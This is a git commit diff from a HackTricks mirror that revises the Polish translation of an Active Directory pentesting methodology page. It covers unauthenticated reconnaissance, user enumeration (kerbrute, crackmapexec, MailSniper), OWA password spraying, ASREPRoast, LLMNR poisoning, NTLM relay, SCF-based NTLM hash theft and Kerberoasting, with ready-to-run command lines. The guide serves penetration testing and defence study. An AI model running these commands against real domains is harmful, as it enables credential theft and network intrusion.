mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/acl-pers
This commit is contained in:
parent
e12f3fe1c7
commit
b73d5ee3a5
@ -284,6 +284,7 @@
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
|
||||
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
|
||||
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
|
||||
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
|
||||
|
@ -4,86 +4,86 @@
|
||||
|
||||
## Podstawowy przegląd
|
||||
|
||||
**Active Directory** służy jako podstawowa technologia, umożliwiająca **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Jest zaprojektowane do skalowania, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
|
||||
**Active Directory** pełni rolę podstawowej technologii, umożliwiającej **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w ramach sieci. Został zaprojektowany z myślą o skalowalności, pozwalając na organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
|
||||
|
||||
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasy**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** lub **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy tych domen połączone wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych przez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Specyficzne **prawa dostępu** i **prawa komunikacji** mogą być przypisane na każdym z tych poziomów.
|
||||
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** czy **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy tych domen powiązanych wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych poprzez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Na każdym z tych poziomów można określić konkretne **prawa dostępu** i **komunikacji**.
|
||||
|
||||
Kluczowe pojęcia w **Active Directory** obejmują:
|
||||
|
||||
1. **Katalog** – Zawiera wszystkie informacje dotyczące obiektów Active Directory.
|
||||
2. **Obiekt** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
|
||||
3. **Domena** – Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą z nich utrzymującą własny zbiór obiektów.
|
||||
4. **Drzewo** – Grupa domen, które dzielą wspólną domenę główną.
|
||||
5. **Las** – Szczyt struktury organizacyjnej w Active Directory, składający się z kilku drzew z **relacjami zaufania** między nimi.
|
||||
1. **Directory** – Przechowuje wszystkie informacje dotyczące obiektów Active Directory.
|
||||
2. **Object** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
|
||||
3. **Domain** – Służy jako kontener dla obiektów katalogu; w **lesie** może istnieć wiele domen, z których każda przechowuje własny zbiór obiektów.
|
||||
4. **Tree** – Grupa domen dzielących wspólną domenę nadrzędną.
|
||||
5. **Forest** – Najwyższa struktura organizacyjna w Active Directory, złożona z kilku drzew powiązanych **relacjami zaufania**.
|
||||
|
||||
**Usługi domenowe Active Directory (AD DS)** obejmują szereg usług krytycznych dla centralnego zarządzania i komunikacji w sieci. Usługi te obejmują:
|
||||
**Active Directory Domain Services (AD DS)** obejmuje szereg usług kluczowych dla scentralizowanego zarządzania i komunikacji w sieci. Te usługi to:
|
||||
|
||||
1. **Usługi domenowe** – Centralizują przechowywanie danych i zarządzają interakcjami między **użytkownikami** a **domenami**, w tym funkcjonalności **uwierzytelniania** i **wyszukiwania**.
|
||||
2. **Usługi certyfikatów** – Nadzorują tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
|
||||
3. **Usługi lekkiego katalogu** – Wspierają aplikacje z obsługą katalogów przez **protokół LDAP**.
|
||||
4. **Usługi federacji katalogów** – Zapewniają możliwości **jednolitego logowania** do uwierzytelniania użytkowników w wielu aplikacjach internetowych w jednej sesji.
|
||||
5. **Zarządzanie prawami** – Pomaga w ochronie materiałów objętych prawami autorskimi poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
|
||||
6. **Usługa DNS** – Kluczowa dla rozwiązywania **nazw domen**.
|
||||
1. **Domain Services** – Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym funkcjami **uwierzytelniania** i **wyszukiwania**.
|
||||
2. **Certificate Services** – Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
|
||||
3. **Lightweight Directory Services** – Wspiera aplikacje korzystające z katalogu poprzez protokół **LDAP**.
|
||||
4. **Directory Federation Services** – Zapewnia funkcje **single-sign-on**, pozwalając uwierzytelniać użytkowników w wielu aplikacjach webowych w jednej sesji.
|
||||
5. **Rights Management** – Pomaga chronić materiały objęte prawami autorskimi, regulując ich nieautoryzowaną dystrybucję i użycie.
|
||||
6. **DNS Service** – Kluczowa dla rozwiązywania **nazw domen**.
|
||||
|
||||
Aby uzyskać bardziej szczegółowe wyjaśnienie, sprawdź: [**TechTerms - Definicja Active Directory**](https://techterms.com/definition/active_directory)
|
||||
Po więcej szczegółów zobacz: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Uwierzytelnianie Kerberos**
|
||||
### **Kerberos Authentication**
|
||||
|
||||
Aby nauczyć się, jak **atakować AD**, musisz **dobrze zrozumieć** **proces uwierzytelniania Kerberos**.\
|
||||
[**Przeczytaj tę stronę, jeśli nadal nie wiesz, jak to działa.**](kerberos-authentication.md)
|
||||
Aby nauczyć się **atakować AD** musisz bardzo dobrze **zrozumieć** proces **uwierzytelniania Kerberos**.\
|
||||
[**Przeczytaj tę stronę jeśli nadal nie wiesz jak to działa.**](kerberos-authentication.md)
|
||||
|
||||
## Arkusz skrótów
|
||||
## Cheat Sheet
|
||||
|
||||
Możesz skorzystać z [https://wadcoms.github.io/](https://wadcoms.github.io), aby szybko zobaczyć, jakie polecenia możesz uruchomić, aby enumerować/eksploatować AD.
|
||||
Możesz skorzystać z [https://wadcoms.github.io/](https://wadcoms.github.io) aby szybko zobaczyć, jakie polecenia możesz uruchomić, by enumerować/eksploitować AD.
|
||||
|
||||
> [!WARNING]
|
||||
> Komunikacja Kerberos **wymaga pełnej kwalifikowanej nazwy (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny przez adres IP, **użyje NTLM, a nie Kerberos**.
|
||||
> Komunikacja Kerberos **wymaga w pełni kwalifikowanej nazwy (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny po adresie IP, **zostanie użyty NTLM, a nie Kerberos**.
|
||||
|
||||
## Recon Active Directory (Bez poświadczeń/sesji)
|
||||
## Rekonesans Active Directory (Brak poświadczeń/sesji)
|
||||
|
||||
Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji, możesz:
|
||||
Jeżeli masz dostęp do środowiska AD, ale nie posiadasz żadnych poświadczeń/sesji, możesz:
|
||||
|
||||
- **Przeprowadzić testy penetracyjne w sieci:**
|
||||
- Skanować sieć, znaleźć maszyny i otwarte porty oraz spróbować **eksploatować luki** lub **wyciągać poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
|
||||
- **Pentest the network:**
|
||||
- Skanuj sieć, znajdź maszyny i otwarte porty i spróbuj **eksploatować podatności** lub **wyciągnąć poświadczenia** z nich (na przykład [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
|
||||
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udostępnienia, vpn, media itp.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Zobacz ogólną [**Metodologię testów penetracyjnych**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji na temat tego, jak to zrobić.
|
||||
- **Sprawdź dostęp null i Gościa w usługach smb** (to nie zadziała w nowoczesnych wersjach Windows):
|
||||
- Zobacz ogólną [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) aby znaleźć więcej informacji o tym, jak to robić.
|
||||
- **Sprawdź dostęp null i Guest na usługach smb** (to nie zadziała w nowoczesnych wersjach Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- Bardziej szczegółowy przewodnik na temat enumeracji serwera SMB można znaleźć tutaj:
|
||||
- Bardziej szczegółowy poradnik jak enumerować serwer SMB można znaleźć tutaj:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
{{#endref}}
|
||||
|
||||
- **Enumeracja LDAP**
|
||||
- **Enumerate Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Bardziej szczegółowy przewodnik na temat enumeracji LDAP można znaleźć tutaj (zwróć **szczególną uwagę na dostęp anonimowy**):
|
||||
- Bardziej szczegółowy poradnik jak enumerować LDAP można znaleźć tutaj (zwróć **szczególną uwagę na anonimowy dostęp**):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **Zatrucie sieci**
|
||||
- Zbieraj poświadczenia [**podszywając się pod usługi z Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Uzyskaj dostęp do hosta [**nadużywając ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Zbieraj poświadczenia **ujawniając** [**fałszywe usługi UPnP z evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- **Poison the network**
|
||||
- Zbieraj poświadczenia [**podszywając się pod usługi przy pomocy Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Uzyskaj dostęp do hosta przez [**nadużycie relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP przy pomocy evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Wyciągnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych.
|
||||
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** (**[przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NNazwisko_, _N.Nazwisko_, _NazwiskoImię_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123).
|
||||
- Wyodrębnij nazwy użytkowników/imiona z wewnętrznych dokumentów, social media, usług (głównie web) wewnątrz środowisk domeny, a także z zasobów publicznie dostępnych.
|
||||
- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz wypróbować różne konwencje nazewnictwa kont AD (**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najpopularniejsze konwencje to: _NameSurname_, _Name.Surname_, _NamSur_ (3 litery z każdego), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
|
||||
- Narzędzia:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Enumeracja użytkowników
|
||||
### User enumeration
|
||||
|
||||
- **Anonimowa enumeracja SMB/LDAP:** Sprawdź strony [**testowania SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**testowania LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeracja Kerbrute**: Gdy **żądany jest nieprawidłowy nazwa użytkownika**, serwer odpowie używając kodu błędu **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala nam stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** wywołają albo **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, co wskazuje, że użytkownik musi przeprowadzić wstępne uwierzytelnienie.
|
||||
- **Brak uwierzytelnienia przeciwko MS-NRPC**: Używając poziomu uwierzytelnienia = 1 (Brak uwierzytelnienia) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po powiązaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje ten typ enumeracji. Badania można znaleźć [tutaj](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
- **Anonymous SMB/LDAP enum:** Sprawdź strony [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Kerbrute enum**: Gdy żądany jest **nieprawidłowy username**, serwer odpowie kodem błędu Kerberos _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** wywołają albo **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, wskazując, że użytkownik musi wykonać pre-autoryzację.
|
||||
- **No Authentication against MS-NRPC**: Użycie auth-level = 1 (Brak uwierzytelnienia) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po bindowaniu się do interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez żadnych poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje ten typ enumeracji. Badania można znaleźć [tutaj](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers
|
||||
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
|
||||
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
|
||||
```
|
||||
- **Serwer OWA (Outlook Web Access)**
|
||||
- **OWA (Outlook Web Access) Server**
|
||||
|
||||
Jeśli znajdziesz jeden z tych serwerów w sieci, możesz również przeprowadzić **enumerację użytkowników** przeciwko niemu. Na przykład, możesz użyć narzędzia [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
Jeśli znajdziesz jeden z tych serwerów w sieci, możesz również przeprowadzić **user enumeration** przeciwko niemu. Na przykład możesz użyć narzędzia [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -110,17 +110,18 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) oraz w tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
> Możesz znaleźć listy nazw użytkowników w [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) i w tym ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Mając imię i nazwisko, możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników.
|
||||
> Jednak powinieneś mieć **imiona osób pracujących w firmie** z kroku recon, który powinieneś wykonać wcześniej. Mając imię i nazwisko możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) do wygenerowania potencjalnych poprawnych nazw użytkowników.
|
||||
|
||||
### Znając jedną lub kilka nazw użytkowników
|
||||
|
||||
Ok, więc wiesz, że masz już poprawną nazwę użytkownika, ale nie masz haseł... Spróbuj:
|
||||
Ok, więc wiesz, że masz już prawidłową nazwę użytkownika, ale nie masz haseł... Spróbuj wtedy:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_ możesz **zażądać komunikatu AS_REP** dla tego użytkownika, który będzie zawierać pewne dane zaszyfrowane pochodną hasła użytkownika.
|
||||
- [**Password Spraying**](password-spraying.md): Spróbuj najbardziej **popularnych haseł** dla każdego z odkrytych użytkowników, być może ktoś używa słabego hasła (pamiętaj o polityce haseł!).
|
||||
- Zwróć uwagę, że możesz także **spray OWA servers**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników.
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_, możesz **zażądać wiadomości AS_REP** dla tego użytkownika, która będzie zawierać dane zaszyfrowane przez pochodną hasła użytkownika.
|
||||
- [**Password Spraying**](password-spraying.md): Spróbujmy najczęstszych **haseł** z każdym z odkrytych użytkowników, może któryś z użytkowników używa złego hasła (pamiętaj o polityce haseł!).
|
||||
- Zauważ, że możesz również **sprayować serwery OWA**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -128,7 +129,8 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
Możesz być w stanie **uzyskać** niektóre wyzwania **haszy**, aby złamać **truciznę** niektórych protokołów **sieci**:
|
||||
Możesz być w stanie **uzyskać** pewne challenge **hashes** do złamania, poprzez **poisoning** niektórych protokołów **sieci**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -136,21 +138,23 @@ Możesz być w stanie **uzyskać** niektóre wyzwania **haszy**, aby złamać **
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Jeśli udało ci się zenumerować aktywny katalog, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTLM [**relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack), aby uzyskać dostęp do środowiska AD.
|
||||
Jeśli udało Ci się zenumerować Active Directory będziesz mieć **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) aby uzyskać dostęp do środowiska AD.
|
||||
|
||||
### Kradzież poświadczeń NTLM
|
||||
### Steal NTLM Creds
|
||||
|
||||
Jeśli możesz uzyskać **dostęp do innych maszyn lub shares** za pomocą **null lub guest user**, możesz **umieścić pliki** (np. plik SCF), które jeśli zostaną w jakiś sposób otwarte, spowodują **wyzwolenie NTLM authentication przeciwko tobie**, dzięki czemu możesz **steal** **NTLM challenge** do złamania:
|
||||
|
||||
Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** jako **użytkownik null lub gość**, możesz **umieścić pliki** (jak plik SCF), które, jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTLM przeciwko tobie**, abyś mógł **ukraść** **wyzwanie NTLM** do złamania:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeracja Active Directory Z poświadczeniami/sesją
|
||||
## Enumeracja Active Directory z poświadczeniami/sesją
|
||||
|
||||
Na tym etapie musisz mieć **skomprymowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej są nadal opcjami do skompromitowania innych użytkowników**.
|
||||
Na tym etapie musisz mieć **skompromitowane poświadczenia lub sesję prawidłowego konta domenowego.** Jeśli masz jakieś prawidłowe poświadczenia lub shell jako użytkownik domenowy, **pamiętaj, że wcześniejsze opcje nadal mogą posłużyć do kompromitacji innych użytkowników**.
|
||||
|
||||
Zanim zaczniesz uwierzytelnioną enumerację, powinieneś znać, czym jest **Kerberos double hop problem.**
|
||||
|
||||
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos.**
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
@ -158,51 +162,52 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeracja
|
||||
|
||||
Posiadając skompromitowane konto, to **duży krok w kierunku skompromitowania całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
|
||||
Skompromitowanie konta to **duży krok w kierunku kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **enumerację Active Directory:**
|
||||
|
||||
Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego potencjalnie podatnego użytkownika, a odnośnie [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
|
||||
Jeśli chodzi o [**ASREPRoast**](asreproast.md) możesz teraz znaleźć wszystkich potencjalnie podatnych użytkowników, a jeśli chodzi o [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła ze skompromitowanego konta, pustych haseł oraz nowych obiecujących haseł.
|
||||
|
||||
- Możesz użyć [**CMD do przeprowadzenia podstawowego rekonesansu**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/index.html), co będzie bardziej dyskretne
|
||||
- Możesz także [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje
|
||||
- Innym niesamowitym narzędziem do rekonesansu w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretny** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
|
||||
- Możesz użyć [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Możesz również użyć [**powershell for recon**](../basic-powershell-for-pentesters/index.html), co będzie bardziej dyskretne
|
||||
- Możesz również [**use powerview**](../basic-powershell-for-pentesters/powerview.md) aby wydobyć bardziej szczegółowe informacje
|
||||
- Kolejnym świetnym narzędziem do rozpoznania w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest ono **zbyt dyskretne** (w zależności od używanych metod zbierania), ale **jeśli ci to nie przeszkadza**, zdecydowanie powinieneś go wypróbować. Znajdź gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup, itd.
|
||||
- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**Rekordy DNS AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
|
||||
- Narzędziem z GUI, które możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** z **SysInternal** Suite.
|
||||
- Możesz również przeszukać bazę danych LDAP za pomocą **ldapsearch**, aby szukać poświadczeń w polach _userPassword_ i _unixUserPassword_, lub nawet dla _Description_. cf. [Hasło w komentarzu użytkownika AD na PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
|
||||
- Jeśli używasz **Linux**, możesz również zenumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Możesz również spróbować zautomatyzowanych narzędzi, takich jak:
|
||||
- [**DNS records of the AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
|
||||
- Narzędzie z GUI, którego możesz użyć do enumeracji katalogu to **AdExplorer.exe** z pakietu **SysInternal** Suite.
|
||||
- Możesz również przeszukać bazę LDAP za pomocą **ldapsearch**, aby szukać poświadczeń w polach _userPassword_ & _unixUserPassword_, lub nawet w polu _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
|
||||
- Jeśli używasz **Linux**, możesz również enumerować domenę używając [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Możesz również spróbować narzędzi automatycznych takich jak:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Ekstrakcja wszystkich użytkowników domeny**
|
||||
- **Wyodrębnianie wszystkich użytkowników domeny**
|
||||
|
||||
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
Bardzo łatwo uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Nawet jeśli ta sekcja enumeracji wygląda na małą, jest to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak zenumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
|
||||
> Nawet jeśli sekcja Enumeracja wydaje się krótka, to jest to najważniejsza część. Odwiedź linki (głównie te dotyczące cmd, powershell, powerview i BloodHound), naucz się jak enumerować domenę i ćwicz, aż poczujesz się pewnie. Podczas oceny/próby będzie to kluczowy moment, aby znaleźć drogę do DA albo zdecydować, że nic nie da się zrobić.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting polega na uzyskaniu **biletów TGS** używanych przez usługi powiązane z kontami użytkowników i łamaniu ich szyfrowania—które opiera się na hasłach użytkowników—**offline**.
|
||||
Kerberoasting polega na uzyskaniu **TGS tickets** używanych przez usługi powiązane z kontami użytkowników i łamaniu ich szyfrowania — które opiera się na hasłach użytkowników — **offline**.
|
||||
|
||||
Więcej na ten temat w:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
kerberoast.md
|
||||
{{#endref}}
|
||||
|
||||
### Zdalne połączenie (RDP, SSH, FTP, Win-RM, itd.)
|
||||
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
